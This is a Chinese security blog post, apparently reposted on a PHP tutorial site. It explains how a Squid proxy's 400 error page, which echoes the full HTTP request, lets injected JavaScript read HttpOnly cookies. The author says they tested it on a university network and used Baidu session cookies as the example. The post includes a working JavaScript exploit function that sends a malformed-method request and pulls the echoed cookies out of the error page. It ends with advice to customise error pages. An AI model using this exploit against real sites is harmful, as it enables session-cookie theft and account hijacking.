来源:自学PHP网 时间:2015-04-17 10:15 作者: 阅读:次
[导读] Squid cache(简称为Squid)是一个流行的自由软件(GNU通用公共许可证)的代理服务器和Web缓存服务器。Squid有广泛的用途,从作为网页服务器的前置cache服务器缓存相关请求来提高Web服务器...
Squid cache(简称为Squid)是一个流行的自由软件(GNU通用公共许可证)的代理服务器和Web缓存服务器。Squid有广泛的用途,从作为网页服务器的前置cache服务器缓存相关请求来提高Web服务器的速度,到为一组人共享网络资源而缓存万维网,域名系统和其他网络搜索,到通过过滤流量帮助网络安全,到局域网通过代理上网。Squid主要设计用于在Linux一类系统运行。 成功插入代码以后发现目标cookie是HTTP-Only的... 按说,到这时候应当放弃了...但是啊...我们大学有个神奇的cache服务器叫做squid... 研究了一下....发现结合squid的错误机制是可以做到bypass http-only的
我们的目标错误是400: Bad Request 这个错误最容易通过浏览器Ajax触发(触发方式将在下面说明) 对应的错误模板文件为errors/en/ERR_INVALID_REQ 让我们打开看一下....虽说习惯很不好....居然只有一行.... 不过重整一下还是很快找到了关键的部位
http://wiki.squid-cache.org/Features/CustomErrors#ERR_.2A_template_codes_for_embedding 看看这里 %R Full HTTP Request 全部Request啊...那么意味着发出的cookie也可以方便的获取....不管是不是http-only的
试一下... 使用的网络是某大学的网络,squid版本为2.6/STABLE21 (有点老了,但是刚刚拖了最新的3.3.5版本下来看,这个问题没有被修过)
然后构造畸形ajax请求
这会让squid认为这是一个不合法的request method从而抛出bad request 拿一下请求头 顺便吐槽一下百度,尼玛BDUSS和SSUDB是一样的内容你SSUDB是httponly的有毛意义
危害及局限: 1.XSS的大帮凶,httponly就这样轻轻松松bypass 2.主要适用于定点打击吧...不过写一小段脚本探测一下内网环境也是可以的 3.https协议下的请求因为不走cache服务器当然是拿不到的了 最后送上一小段exploit function getCookieOrHeader(){ var res= document.cookie; //Test Squid var r; if(window.XMLHttpRequest) { r = new XMLHttpRequest(); } else { try { r = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { r = new ActiveXObject("Microsoft.XMLHTTP"); } } r.open('%xss', '/', false); r.send(); if(r.status == 400 && r.responseText.search("squid") != -1) { var s = r.responseText.search(/<pre>/ig) + 6; var l = r.responseText.search(/<\/pre>/ig) - s; res = r.responseText.substr(s, l); } return res; }
其次希望使用squid的团体或个人在生产环境时一定要自定义错误页面方式敏感信息外泄 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com